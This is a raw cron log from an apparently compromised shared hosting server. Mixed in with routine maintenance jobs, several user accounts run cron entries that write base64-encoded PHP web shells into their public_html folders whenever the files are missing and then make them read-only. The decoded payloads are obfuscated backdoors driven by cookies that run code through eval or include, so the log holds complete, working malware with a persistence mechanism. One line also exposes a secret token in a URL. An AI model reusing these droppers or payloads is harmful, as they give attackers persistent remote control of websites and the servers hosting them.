Jun  7 08:22:01 medusa CROND[20477]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:23:02 medusa CROND[22093]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:23:02 medusa CROND[22092]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:23:02 medusa CROND[22102]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 08:23:02 medusa CROND[22120]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:23:02 medusa CROND[22121]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:23:02 medusa CROND[22122]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:23:02 medusa CROND[22123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:23:02 medusa CROND[22125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:23:02 medusa CROND[22126]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:23:02 medusa CROND[22130]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:23:02 medusa CROND[22132]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:23:02 medusa CROND[22133]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:24:02 medusa CROND[23959]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 08:24:02 medusa CROND[23960]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 08:24:02 medusa CROND[23961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 08:24:02 medusa CROND[23962]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 08:24:02 medusa CROND[23964]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 08:24:02 medusa CROND[23966]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:24:02 medusa CROND[23965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:24:02 medusa CROND[23968]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 08:24:02 medusa CROND[23971]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 08:24:02 medusa CROND[23975]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:24:02 medusa CROND[23974]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 08:24:02 medusa CROND[23987]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:24:02 medusa CROND[23989]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 08:25:01 medusa CROND[26229]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 08:25:01 medusa CROND[26233]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 08:25:02 medusa CROND[26238]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 08:25:02 medusa CROND[26247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 08:25:02 medusa CROND[26250]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 08:25:02 medusa CROND[26251]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 08:25:02 medusa CROND[26252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 08:25:02 medusa CROND[26253]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
